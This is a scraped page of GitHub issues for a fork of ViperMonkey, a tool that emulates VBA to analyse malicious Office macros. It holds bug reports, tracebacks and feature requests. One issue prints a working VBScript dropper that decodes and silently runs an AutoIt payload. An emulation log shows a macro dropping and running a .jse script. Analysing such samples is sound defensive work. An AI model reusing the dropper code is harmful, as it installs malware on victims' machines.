kirk-sayre-work / vipermonkey Goto Github PK
View Code? Open in Web Editor NEWThis project forked from decalage2/vipermonkey
A VBA parser and emulation engine to analyze malicious macros.
This project forked from decalage2/vipermonkey
A VBA parser and emulation engine to analyze malicious macros.
Describe the bug
When running vmonkey on this sample, an error is triggered and stops VBA emulation.
To Reproduce
vmonkey sosp_4923d3e333.doc
Output
[...]
-------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
INFO Found possible intermediate IOC (URL): 'http://schemas.openxmlformats.org/drawingml/2006/main'
INFO Emulating loose statements...
INFO ACTION: Found Entry Point - params 'mstscaxnotsafeforscripting1_onconnecting' -
INFO evaluating Sub MsTscAxNotSafeForScripting1_OnConnecting
INFO Calling Procedure: Bikeras("['Application.StartupPath', '\\\\..\\\\..\\\\']")
INFO calling Function: <vipermonkey.core.vba_library.FreeFile object at 0x03bdf090>()
INFO ACTION: OPEN - params 'Application.StartupPath\\..\\..\\Gruzzz.ber' - Open File
INFO Opened file Application.StartupPath/..Gruzzz.ber
INFO Calling Procedure: Put("['Application.StartupPath\\\\..\\\\..\\\\Gruzzz.ber', '', 'bjbj\\n/*blow23*/;/*autograp...")
INFO Opened file Application.StartupPath/..Gruzzz.ber
INFO Calling Procedure: Close("['Application.StartupPath\\\\..\\\\..\\\\Gruzzz.ber']")
INFO Closing file Application.StartupPath/..Gruzzz.ber
INFO ACTION: Dropped File Hash - params 'b09665d51520d5a548b8fae58d53834f700f49c7f8351838a8dc3d949fbd177f' - File Name: Application.StartupPath/..Gruzzz.ber
INFO Wrote dumped file (hash b09665d51520d5a548b8fae58d53834f700f49c7f8351838a8dc3d949fbd177f) to ./sosp_4923d3e333.doc_artifacts/Gruzzz.ber.
WARNING context.set() Selection.PageSetup.LineNumbering.Active is improper type. <class 'vipermonkey.core.expressions.MemberAccessExpression'>
INFO Calling Procedure: ImportCSV("['f:\\\\gh.csv']")
INFO evaluating Sub ImportCSV
INFO calling Function: Replace('Application.StartupPath\\..\\..\\Gruzzz.ber', '.ber', '.jse')
INFO calling Function: ulicdr(0, 'WScript.Shell')
INFO calling Function: CreateObject('WScript.Shell')
INFO ACTION: CreateObject - params ['WScript.Shell'] - Interesting Function Call
INFO Explicit exit function invoked
INFO Calling Procedure: CallByName('[\'WScript.Shell\', \'Run\', 1, \'"Application.StartupPath\\\\..\\\\..\\\\Gruzzz.jse" 578\',...')
INFO ACTION: Run - params '"Application.StartupPath\\..\\..\\Gruzzz.jse" 578' - Interesting Function Call
INFO calling Function: Right('f:\\gh.csv', 3)
INFO calling Function: <vipermonkey.core.vba_library.FreeFile object at 0x03bdf090>()
INFO ACTION: OPEN - params 'f:\\gh.csv' - Open File
INFO Opened file f:/gh.csv
Traceback (most recent call last):
File "c:\ViperMonkey\vipermonkey\vmonkey.py", line 1408, in _process_file
vm.trace()
File "c:\ViperMonkey\vipermonkey\core\__init__.py", line 571, in trace
item.eval(context=context)
File "c:\ViperMonkey\vipermonkey\core\procedures.py", line 169, in eval
s.eval(context=context)
File "c:\ViperMonkey\vipermonkey\core\statements.py", line 3041, in eval
ret = s.eval(context=context, params=call_params)
File "c:\ViperMonkey\vipermonkey\core\procedures.py", line 169, in eval
s.eval(context=context)
File "c:\ViperMonkey\vipermonkey\core\statements.py", line 2153, in eval
init_guard_val = self._has_constant_loop_guard(context)
File "c:\ViperMonkey\vipermonkey\core\statements.py", line 2101, in _has_constant_loop_guard
self.guard.accept(var_visitor)
AttributeError: 'str' object has no attribute 'accept'
ERROR 'str' object has no attribute 'accept'
Desktop (please complete the following information):
Example doc: f9c853989e336d614594f0f1fe017d4e58c7d0000a74c1d6a301fc2cb69be1a5
Need to handle multiple user defined classes with methods that have the same name. Probably need to implement name mangling in ViperMonkey to tell the methods from different classes apart.
Actually, I'm getting the same error as in the link I mentioned. It was added to Milestone but not developed. I was going to work on parse Shape objects to throw PR but I couldn't find enough resources in OfficeFileFormats docs.
decalage2#63
Error: Shape objects can be retrieved with index values but not with names.
Is your feature request related to a problem? Please describe.
Is function ActiveDocument.Variables("<name>").Value()
from VBA
implemented for emulation?
Many maldocs contain data in those variables, and at least for me, it seems that this is not implemented, or maybe I'm missing something. It might be hard to implement though.
When executing this particular line:
INFO calling Function: Value()
WARNING Function 'Value' not found
In this particular case, encryption key is stored into Variables and deobfuscation is hard, since content is not acquired.
Describe the solution you'd like
Consider implementing function
Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.
INFO Parsing VB...
Traceback (most recent call last):
File "/opt/ViperMonkey/vipermonkey/vmonkey.py", line 1174, in _process_file
comp_modules = parse_streams(vba, strip_useless)
File "/opt/ViperMonkey/vipermonkey/vmonkey.py", line 772, in parse_streams
return parse_streams_serial(vba, strip_useless)
File "/opt/ViperMonkey/vipermonkey/vmonkey.py", line 731, in parse_streams_serial
m = parse_stream(subfilename, stream_path, vba_filename, vba_code, strip_useless, local_funcs)
File "/opt/ViperMonkey/vipermonkey/vmonkey.py", line 667, in parse_stream
raise ValueError("VBA looks corrupted. Not analyzing.")
ValueError: VBA looks corrupted. Not analyzing.
ERROR VBA looks corrupted. Not analyzing.
Suspect this is due to the following string:
test = "š™¡�œ�’�––X�¢�JW�¢��Ÿž“™˜š™–“�£JŒ£š‹��JW�Jr“ŽŽ�˜JW�™——‹˜ŽJR˜�¡W™Œ”��žJ}£�ž�—Xx�žX��Œm–“�˜žSXn™¡˜–™‹Žp“–�RQ’žžš�dYY��ž‹�“™˜™–“—š“�‹X�™—Y}��Ÿœ�v™‘�YŒ–‹�•�‹“–�X Œ�QVN�˜ d~�—šUQ†Œ–‹�•�‹“–�X Œ�QSeRx�¡WyŒ”��žJW�™—J}’�––Xkšš–“�‹ž“™˜SX}’�––o¢��Ÿž�RN�˜ d~�—šUQ†Œ–‹�•�‹“–�X Œ�QS"
Describe the bug
import vipermonkey gives an error in pypy
To Reproduce
$ pypy -m pip install --no-cache-dir -U https://github.com/kirk-sayre-work/ViperMonkey/archive/master.zip
$ pypy
Python 2.7.18 (a29ef73f9b32, Nov 09 2020, 18:42:06)
[PyPy 7.3.3 with GCC 7.3.1 20180303 (Red Hat 7.3.1-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>> import vipermonkey
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "$HOME/.local/lib/pypy2.7/site-packages/vipermonkey/__init__.py", line 3, in <module>
from vipermonkey.api import *
File "$HOME/.local/lib/pypy2.7/site-packages/vipermonkey/api.py", line 97, in <module>
orig_Context = Context
NameError: global name 'Context' is not defined
Expected behavior
Library should import without error
df9941c65fb86b53beca439f821c73b8435a0f85a4b70a9a5e317f3f5385279b
d62b0beb27e3b97923f9263a379492bfdf08a3dbcbb16c0af5a86420f5b74012
3dffb392f186abf80646ef2375f8989dbde3beba249ea374deddb690fa77b9a7
Sample payload:
dim FileObject, MSXml2,basee64,tipo,FolderTarget,AutoitName:Set FileObject = CreateObject("Scripting.FileSystemObject"):if FileObject.GetParentFolderName(WScript.ScriptFullName) = "C:\" then:wscript.quit:end if:FolderTarget = "C:\" + RandomString + "\":FileObject.CreateFolder(FolderTarget):AutoitName = RandomString + ".exe":if FileObject.FolderExists("%ALLUSERSPROFILE%\Panda Security") then:AutoitName = "autoit.exe":end if:AutoitScriptName = RandomString + ".au3":Set MSXml2 = CreateObject("MSXml2.DOMDocument"):Set basee64 = MSXml2.createElement("Base64Data"):Set tipo = CreateObject("ADODB.Stream"):basee64.DataType = "bin.base64":tipo.Type = 1:PAZ = replace(PAZ,"KZMiEq",""):basee64.text = PAZ:tipo.Open():tipo.Write basee64.NodeTypedValue:tipo.SaveToFile FolderTarget+AutoitName, 2:tipo.close:Set objFile = FileObject.CreateTextFile(FolderTarget+"pe.bin",True):objFile.Write rGP:objFile.Close:basee64.text = yWi:tipo.Open():tipo.Write basee64.NodeTypedValue:tipo.SaveToFile FolderTarget+AutoitScriptName, 2:tipo.close:CreateObject("Shell.Application").ShellExecute FolderTarget+AutoitName, AutoitScriptName, FolderTarget, "open", 0:Set objFile = FileObject.CreateTextFile(FileObject.GetSpecialFolder(2) + "\test.txt",True):objFile.Write Wscript.ScriptName:objFile.Close:Function RandomString:Dim tmpdata:Randomize:For i = 1 to 8 :tmpdata = tmpdata & Mid("abcdefghijklmnopqrstuvwxyz0123456789", Int((24)*rnd+1),1):Next:RandomString = tmpdata:End Function; C:\scmbrnqn\mthlucts.exe; C:\scmbrnqn\mthlucts.exe klhcrdkv.au3
The Rnd function does not return 71 if Randomize is not called.
Steps to reproduce the behavior:
Execute script:
intHighNumber = 100
intLowNumber = 1
intNumber = Int((intHighNumber – intLowNumber + 1) * Rnd + intLowNumber)
Wscript.Echo intNumber
71 should be returned, unless Randomize is called before Rnd.
https://devblogs.microsoft.com/scripting/how-can-i-generate-random-numbers-using-a-script/
Ubuntu 20.04 (latest updates)
docker 19.03.8
any xls or doc file
Was working in early January.
Sits over 5 minutes on 'Checking for ViperMonkey and dependency updates...'
sudo ViperMonkey/docker/dockermonkey.sh bad4.xls
[] Running 'docker ps' to see if script has required privileges to run...
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
02b0dd08a6ae haroldogden/vipermonkey:latest "bash" 58 seconds ago Up 57 seconds hopeful_margulis
d9ce0e7520b8 haroldogden/vipermonkey:latest "bash" 8 minutes ago Up 8 minutes practical_mccarthy
[+] Other ViperMonkey containers are running!
[] Pulling and starting container...
latest: Pulling from haroldogden/vipermonkey
Digest: sha256:433c88f2ff925f33d38486f394c069f6d16ca0172ef5a2d9a063192604f98e5a
Status: Image is up to date for haroldogden/vipermonkey:latest
docker.io/haroldogden/vipermonkey:latest
[] Attempting to copy file bad4.xls into container ID aa8c3679061be39cf523a11ec3664d7b26f9fb9fcf95843f0ecebb46f8fbf3f8
[] Starting openoffice listener for file content conversions...
[] Checking for ViperMonkey and dependency updates...
[] Disabling network connection for container ID aa8c3679061be39cf523a11ec3664d7b26f9fb9fcf95843f0ecebb46f8fbf3f8
Usage: vmonkey.py [options] [filename2 ...]
| | / ()__ ___ / |/ / ____ / /___ __ __
| | / / / __ / _ / / /|/ / __ / __ / /// _ / / / /
| |/ / / // / / / / / / / // / / / / ,< / __/ // /
|// ./_// // //_// ///||___/_, /
// /___/
vmonkey 0.08 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues
vmonkey.py: error: no such option: --jit
[*] Done - Killing docker container aa8c3679061be39cf523a11ec3664d7b26f9fb9fcf95843f0ecebb46f8fbf3f8
The document sha256 is 05df52c672eb241a392d889afb02b5b7d43af920a7ee335b6c5fc7ce7c128599
Returned VBA builtins are:
FV:InlineShapes:Interaction.Shell("InlineShapes('(FRmkpCRvCFHXgh / 1.5)').AlternativeText, 0"):Shell
I'm getting a syntax error in read_ole_fields.py
right after installing ViperMonkey.
Steps to reproduce:
root@malnet:~# pip install -U https://github.com/kirk-sayre-work/ViperMonkey/archive/master.zip
Collecting https://github.com/kirk-sayre-work/ViperMonkey/archive/master.zip
Downloading https://github.com/kirk-sayre-work/ViperMonkey/archive/master.zip
- 870kB 13.8MB/s
Requirement already satisfied, skipping upgrade: colorama in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (0.4.1)
Requirement already satisfied, skipping upgrade: colorlog in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (4.0.2)
Requirement already satisfied, skipping upgrade: olefile in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (0.46)
Requirement already satisfied, skipping upgrade: oletools in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (0.54.2)
Requirement already satisfied, skipping upgrade: prettytable in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (0.7.2)
Requirement already satisfied, skipping upgrade: pyparsing==2.3.0 in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (2.3.0)
Requirement already satisfied, skipping upgrade: regex in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (2019.6.8)
Requirement already satisfied, skipping upgrade: unidecode in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (1.1.1)
Requirement already satisfied, skipping upgrade: xlrd in /usr/local/lib/python2.7/dist-packages (from vipermonkey==0.8) (1.2.0)
Requirement already satisfied, skipping upgrade: msoffcrypto-tool in /usr/local/lib/python2.7/dist-packages (from oletools->vipermonkey==0.8) (4.10.1)
Requirement already satisfied, skipping upgrade: colorclass in /usr/local/lib/python2.7/dist-packages (from oletools->vipermonkey==0.8) (2.2.0)
Requirement already satisfied, skipping upgrade: easygui in /usr/local/lib/python2.7/dist-packages (from oletools->vipermonkey==0.8) (0.98.1)
Requirement already satisfied, skipping upgrade: cryptography>=2.3 in /usr/lib/python2.7/dist-packages (from msoffcrypto-tool->oletools->vipermonkey==0.8) (2.6.1)
Building wheels for collected packages: vipermonkey
Running setup.py bdist_wheel for vipermonkey ... done
Stored in directory: /tmp/pip-ephem-wheel-cache-NUkazS/wheels/d7/15/3f/b8e13b6ffef132957c630e9bfd8245761ef842ed66a013054f
Successfully built vipermonkey
Installing collected packages: vipermonkey
Found existing installation: vipermonkey 0.8
Uninstalling vipermonkey-0.8:
Successfully uninstalled vipermonkey-0.8
Successfully installed vipermonkey-0.8
root@malnet:~# vmonkey
Traceback (most recent call last):
File "/usr/local/bin/vmonkey", line 6, in <module>
from vipermonkey.vmonkey import main
File "/usr/local/lib/python2.7/dist-packages/vipermonkey/vmonkey.py", line 126, in <module>
import core.read_ole_fields as read_ole_fields
File "/usr/local/lib/python2.7/dist-packages/vipermonkey/core/read_ole_fields.py", line 316
if ("� anchor = "� pad = 3
^
SyntaxError: invalid syntax
System information:
root@malnet:~# uname -a
Linux malnet 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-5kali1 (2019-06-20) x86_64 GNU/Linux
root@malnet:~# pip -V
pip 18.1 from /usr/lib/python2.7/dist-packages/pip (python 2.7)
root@malnet:~# python -V
Python 2.7.16
regex_3/_regex.c:26230:16: note: declared here
26230 | PyMODINIT_FUNC PyInit__regex(void) {
| ^~~~~~~~~~~~~
regex_3/_regex.c:26326:16: warning: ‘return’ with a value, in function returning void
26326 | return NULL;
| ^~~~
regex_3/_regex.c:26230:16: note: declared here
26230 | PyMODINIT_FUNC PyInit__regex(void) {
| ^~~~~~~~~~~~~
regex_3/_regex.c:26329:12: warning: ‘return’ with a value, in function returning void
26329 | return m;
| ^
regex_3/_regex.c:26230:16: note: declared here
26230 | PyMODINIT_FUNC PyInit__regex(void) {
| ^~~~~~~~~~~~~
regex_3/_regex.c: At top level:
regex_3/_regex.c:26217:27: error: storage size of ‘regex_module’ isn’t known
26217 | static struct PyModuleDef regex_module = {
| ^~~~~~~~~~~~
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
----------------------------------------
ERROR: Command errored out with exit status 1: /usr/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-eFf_oB/regex/setup.py'"'"'; file='"'"'/tmp/pip-install-eFf_oB/regex/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /tmp/pip-record-6VOyDb/install-record.txt --single-version-externally-managed --compile --install-headers /usr/local/include/python2.7/regex Check the logs for full command output.
The ordering of items in the returned structure from process_file() changes often, as a result of seemingly innocuous parsing changes. Consumers of these results are then required to hunt for output they may not entirely know the formatting of. Furthermore, while each tuple in the returned list is of the general format (Action, Value, Description); the important actions are not always "Execute Command", and the "Description" values are generally what function resulted in the call, which -- again -- not easily predictable.
It would be great if the returned structure had a definitive list of every shell command run, regardless of how it got called.
Also; the "pretty printed" human readable output is quite possibly the most pessimal output format. One cannot copy-paste values out of this printed table without an extreme amount of work, and the user has much better luck searching in the logging.INFO output instead, but improving the return structure layout just prior to the pretty printed output is the important part.
(If I had my choice, i'd have it return a dictionary or json structure, instead of a list of unmarked tuples, with one of the dictionary keys giving an ordered list of every emitted commandline. )
Is your feature request related to a problem? Please describe.
Maldocs are often keyed using environment variables. Would be nice to have the ability to pass a parameter to ViperMonkey to set these environment variables on execution.
Describe the solution you'd like
Thinking something like vmonkey.py -E USERDNSDOMAIN=example.com
Describe alternatives you've considered
I could hardcode my own versions every time I want to try and boot it up.
Additional context
SPACE CAT!!! I might grab this FR and submit a PR, but I at least wanted to get this filed so it wasn't lost.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.